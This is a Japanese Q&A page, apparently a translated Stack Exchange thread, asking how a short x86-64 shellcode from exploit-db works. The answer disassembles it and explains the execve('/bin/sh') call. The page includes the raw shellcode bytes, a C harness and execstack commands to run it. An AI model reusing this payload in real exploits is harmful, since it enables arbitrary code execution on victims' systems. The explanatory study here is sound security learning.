web-dev-qa-db-ja.com

Cシェルコードの説明

私はこのシェルコードを https://www.exploit-db.com/exploits/39624/ で見つけました:

#include <stdio.h>
char sh[]="\xeb\x0b\x5f\x48\x31\xd2\x52\x5e\x6a\x3b\x58\x0f\x05\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
void main(int argc, char **argv)
{
    int (*func)();
    func = (int (*)()) sh;
    (int)(*func)();
}

手順:

実行する方法

$ gcc -o sh_Shell sh_Shell.c
$ execstack -s sh_Shell
$ ./sh_Shell

誰かが実際にどのように機能するか説明できますか?

どのようにして何かに害を及ぼすことができますか?

shは何に使用されますか? ("뀋_H1ҀR^j;X耰bin/sh"(Unicode)または"�_H1�R^j;X�����/bin/sh"(ASCII)最後の6文字を除いて、あまり意味がありません。前にある文字は何ですか?)

6
Shomz

ndisasmを使用すると、sh配列のデータを次の有効な64ビットx86マシンコードに分解できます。

00000000  EB0B              jmp short 0xd
00000002  5F                pop rdi
00000003  4831D2            xor rdx,rdx
00000006  52                Push rdx
00000007  5E                pop rsi
00000008  6A3B              Push byte +0x3b
0000000A  58                pop rax
0000000B  0F05              syscall
0000000D  E8F0FFFFFF        call qword 0x2
00000012                    '/bin/sh'

カーネルsyscallを実行して/bin/shを実行するために、単純な位置独立シェルコードを探します。

最初の命令は/bin/sh文字列の直前の命令にジャンプし、次にcallを実行して2番目の命令に戻ります。次に、戻りアドレスがスタックからレジスタrdiにポップされます。これは/bin/sh文字列のメモリアドレスを取得するためのトリックです。シェルコードは、実行時にメモリ内のどこにあるのかを知らないためです。

次に、レジスタrdxが0に設定され、スタックにプッシュされて、レジスタrsiに戻されます。次に、バイト0x3bがスタックに一時停止され、レジスタraxに再びポップされます。

これで、次のように設定されました。

  • rdi =文字列へのポインタ/bin/sh
  • rdx = 0
  • rsi = 0
  • rax = 0x3b

この時点で、syscallを使用してカーネルに制御を渡します。ここで、raxの引数0x3bは、ポインターrdi

これをCに戻すと、基本的には次のようになります。

execve('/bin/sh', NULL, NULL);
8
tlund